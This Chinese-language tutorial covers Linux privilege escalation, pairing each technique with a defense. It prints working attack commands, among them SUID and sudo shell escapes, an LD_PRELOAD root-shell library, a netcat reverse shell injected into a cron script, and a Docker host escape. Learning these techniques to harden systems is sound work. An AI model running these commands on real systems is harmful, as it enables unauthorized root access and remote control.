提权前如何做好信息收集?

在Linux系统中,提权(Privilege Escalation)指用户从普通权限提升至更高权限(如root)的过程。必须强调:未经授权的提权属于违法行为,本文仅用于安全研究、渗透测试或系统防御学习,操作需在合法授权环境下进行。
在尝试提权前,需全面收集系统信息:

  1. 系统版本
    uname -a           # 内核版本
    cat /etc/os-release # 发行版信息
  2. 用户与权限
    id                 # 当前用户权限
    sudo -l            # 检查可用的sudo命令
    cat /etc/passwd    # 用户列表
  3. 敏感文件检查
    find / -perm -4000 -type f 2>/dev/null  # 查找SUID文件
    find / -writable 2>/dev/null            # 全局可写文件
    crontab -l                             # 计划任务

常见提权方法及防御

内核漏洞提权

  • 原理:利用内核未修复的漏洞(如Dirty Pipe、Dirty COW)。
  • 步骤
    # 1. 识别漏洞
    searchsploit "Linux Kernel 5.8"  # 搜索漏洞库
    # 2. 编译并执行EXP(需上传)
    gcc exploit.c -o exploit && ./exploit
  • 防御:定期更新内核(apt upgrade linux-image)。

SUID/SGID滥用

  • 原理:SUID文件以所有者权限运行(如/bin/passwd)。
  • 利用步骤
    # 查找危险SUID文件(如find、vim、bash)
    find / -perm -u=s -type f 2>/dev/null
    # 利用find提权示例:
    touch /tmp/root_shell
    find /tmp/root_shell -exec /bin/sh \;
  • 防御:限制SUID文件(chmod u-s /path/to/file)。

Sudo配置漏洞

  • 原理/etc/sudoers配置错误允许执行危险命令。
  • 利用示例
    # 若允许sudo执行vim:
    sudo vim -c ':!/bin/sh'
    # 若允许sudo执行环境变量(env_keep+LD_PRELOAD):
    echo 'int main(){setgid(0);setuid(0);system("/bin/sh");}' > /tmp/privesc.c
    gcc -fPIC -shared -o /tmp/privesc.so /tmp/privesc.c
    sudo LD_PRELOAD=/tmp/privesc.so <允许的命令>
  • 防御:审计sudo规则(visudo),避免通配符滥用。

计划任务(Cron Jobs)

  • 原理:利用全局可写的计划任务脚本。
  • 步骤
    # 1. 查找可写Cron任务
    ls -la /etc/cron* /var/spool/cron
    # 2. 向脚本注入反向Shell
    echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f" >> /path/to/writable_script.sh
  • 防御:限制Cron文件权限(chmod 600),避免路径劫持。

环境变量劫持(PATH)

  • 原理:劫持PATH中的程序路径。
  • 示例
    # 若程序调用相对命令(如"service")
    echo "/bin/sh" > /tmp/service
    chmod +x /tmp/service
    export PATH=/tmp:$PATH
    # 等待SUID程序调用"service"
  • 防御:程序使用绝对路径,用户PATH规范化。

服务提权(Systemd/Docker)

  • 原理:滥用服务权限或容器逃逸。
  • 方法
    • 服务配置错误:修改可写的服务文件(/etc/systemd/system/),重启后生效。
    • Docker逃逸:若在容器内且以--privileged运行,尝试挂载宿主机磁盘:
      mkdir /mnt/host
      mount /dev/sda1 /mnt/host   # 挂载宿主机根目录
      chroot /mnt/host /bin/bash
  • 防御:限制服务文件权限,避免容器特权模式。

自动化工具辅助

  • 信息收集
    • LinPEAS:自动扫描常见提权路径。
    • LinEnum:快速检测系统配置风险。
  • 漏洞利用
    • Linux Exploit Suggester:匹配内核漏洞。

防御建议

  1. 最小权限原则:用户和服务按需分配权限。
  2. 定期更新:及时修补内核及软件(apt update && apt upgrade)。
  3. 审计配置
    • 清理无用SUID文件:find / -perm -4000 -exec chmod u-s {} \;
    • 限制sudo权限:visudo中移除不必要的NOPASSWD
  4. 监控日志:分析/var/log/auth.log/var/log/syslog

法律与道德声明

  • 合法授权:提权操作仅限渗透测试或自有系统,严禁非法入侵
  • 风险自担:未经授权的提权可能导致法律诉讼及系统崩溃。
  • 防御优先:本文旨在帮助管理员加固系统,非攻击教程。

引用说明
本文参考了OWASP权限提升指南、Linux手册页及GTFOBins(SUID利用库),工具来源GitHub官方仓库,遵循各自开源协议。

原创文章,发布者:酷番叔,转转请注明出处:https://cloud.kd.cn/ask/4479.html

(0)
酷番叔酷番叔
上一篇 2025年6月14日 15:44
下一篇 2025年6月14日 16:25

相关推荐

  • Linux定时任务如何查看?

    查看cron定时任务cron是Linux最常用的定时任务工具,任务存储在以下位置:查看当前用户的cron任务 crontab -l直接列出当前用户的所有定时任务,若提示no crontab for user,表示该用户无定时任务,查看其他用户的cron任务(需root权限) sudo crontab -u us……

    2025年6月30日
    10100
  • Linux开机黑屏?紧急解决指南

    基础排查步骤检查硬件连接确认显示器电源、数据线(HDMI/DP/VGA)连接牢固,尝试更换线缆或接口,重启后观察键盘指示灯(如CapsLock)是否响应,判断系统是否已启动,尝试切换TTY终端黑屏时按 Ctrl + Alt + F2~F6(部分系统需加Fn键),尝试切换到命令行终端,若能登录,说明图形界面(如X……

    2025年6月24日
    11200
  • 如何开启IP转发功能?

    在Linux系统中,端口映射(又称端口转发)是网络管理的关键技术,用于将外部请求重定向到内部服务器或特定端口,以下是详细实现方法和注意事项,所有命令均需root权限执行:端口映射的核心场景远程访问内网服务:将公网IP的端口(如80)映射到内网Web服务器(168.1.100:8080),绕过防火墙限制:转发流量……

    2025年7月21日
    9300
  • 腾讯云Linux登录密码如何设置与使用?

    腾讯云Linux实例的登录密码管理是用户运维过程中的基础操作,涉及初始密码获取、密码重置、密码修改等多个场景,本文将结合腾讯云控制台操作与Linux系统命令,详细说明不同场景下的密码登录方法及注意事项,帮助用户安全高效地管理实例登录凭证,初始密码获取与说明腾讯云创建Linux实例时,默认不会直接显示root用户……

    2025年10月4日
    6500
  • Linux如何查看Oracle数据库版本?

    通过SQL*Plus执行查询(推荐首选)适用场景:已安装Oracle客户端或能连接数据库实例权限要求:具有数据库连接权限的用户(如sysdba)sqlplus / as sysdba # 以操作系统认证登录SQL> SELECT * FROM v$version;输出示例:Oracle Database……

    2025年7月10日
    11200

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

联系我们

400-880-8834

在线咨询: QQ交谈

邮件:HI@E.KD.CN

关注微信